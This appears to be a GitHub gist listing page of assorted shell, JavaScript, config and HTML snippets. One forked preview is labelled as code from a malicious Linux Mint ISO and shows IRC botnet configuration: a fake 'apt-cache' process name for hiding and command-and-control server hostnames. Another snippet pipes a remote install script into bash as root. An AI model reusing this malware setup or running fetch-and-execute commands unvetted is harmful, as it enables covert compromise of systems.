Skip to content

Instantly share code, notes, and snippets.

@sean9999
sean9999 / strict_mode.sh
Last active September 19, 2019 16:21
#strict #mode for the #bash #shell
#!/bin/bash
# @credit :: http://redsymbol.net/articles/unofficial-bash-strict-mode/
## -e :: instructs bash to immediately exit if any command has a non-zero exit status.
## -u :: a reference to any variable you haven't previously defined is an error, and causes the program to immediately exit
## -o pipefail :: If any command in a pipeline fails, that return code will be used as the return code of the whole pipeline
## IFS :: IFS stands for Internal Field Separator - controls what Bash calls word splitting
set -euo pipefail
IFS=$'\n\t'
@sean9999
sean9999 / current_path.sh
Created November 29, 2018 14:47
bash:: get path of current file
#!/bin/bash
## @from: https://stackoverflow.com/questions/59895/getting-the-source-directory-of-a-bash-script-from-within
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null && pwd )"
@sean9999
sean9999 / man.cy
Created September 6, 2018 16:16 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@sean9999
sean9999 / install_nodejs.sh
Created December 6, 2017 17:55 — forked from james2doyle/install_nodejs.sh
Install latest version of Nodejs on Amazon Linux
# become root
sudo -i
# remove old node
yum remove -y nodejs
# remove old node source
rm -f /etc/yum.repos.d/nodesource-el*
# clean up
yum clean all && yum update -y
# install the new RPM
curl --silent --location https://rpm.nodesource.com/setup_7.x | bash -
Verifying my Blockstack ID is secured with the address 1CDeirtRPVXE57XnPZJ7pqSkZZBNo6x4aw https://explorer.blockstack.org/address/1CDeirtRPVXE57XnPZJ7pqSkZZBNo6x4aw
@sean9999
sean9999 / so 41080980.js
Created December 10, 2016 23:06
so 41080980 created by sean9999 - https://repl.it/EmmE/1
class First {
constructor() {
this.loc = '1';
}
test() {
console.log('first', this.loc);
}
}

Some heading

Some sub Heading

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

@sean9999
sean9999 / .Xdefaults
Created September 27, 2016 22:08 — forked from yevgenko/.Xdefaults
URxvt settings with solarized theme
!-------------------------------------------------------------------------------
! Xft settings
!-------------------------------------------------------------------------------
Xft.dpi: 96
Xft.antialias: false
Xft.rgba: rgb
Xft.hinting: true
Xft.hintstyle: hintslight
<!-- begin coupon code -->
<a href="http://www.bulkbarn.ca/en-ca/index.html" onclick="document.getElementById('c').src=document.getElementById('v5').src;window.print();document.cookie='sawcoupon=yes';return true"><img src="http://sjc.io/bulkbarn/coupon_v6_en.jpg" style="display: none;" onload="if ( /sawcoupon/.test(document.cookie) ) { this.style.display = &quot;none&quot;; } else { this.style.display = &quot;inline-block&quot; }" id="c">
<img src="http://sjc.io/bulkbarn/coupon_v5_en.jpg" hidden="hidden" style="display: none" id="v5" />
<!-- end coupon code -->
@sean9999
sean9999 / index.html
Created March 2, 2013 22:03
A CodePen by Sean Macdonald.
<h1>JSON Pretty Print</h1>
<p>When developing php applications, it is often helpful to dump variables. <code class="language-clike">var_dump()</code> or <code class="language-clike">print_r()</code> can used, but are not very readable for large complex data structures. <a href="http://dbug.ospinto.com/">The <code class="language-clike">dBug()</code> class</a> is a great alternative which improves readability, but is bad at distinguishing numbers, strings, null values, and boolean values. JSON Pretty Print (<code class="language-clike">jpp()</code>) seeks to address these issues by displaying data as colour-coded and formatted JSON. Let's dive in...</p>
<h2>Initialize you data</h2>
<pre><code class="language-clike">&lt;?php
require 'class.JSON.php';
$json = new JSON($data);
?&gt;</code></pre>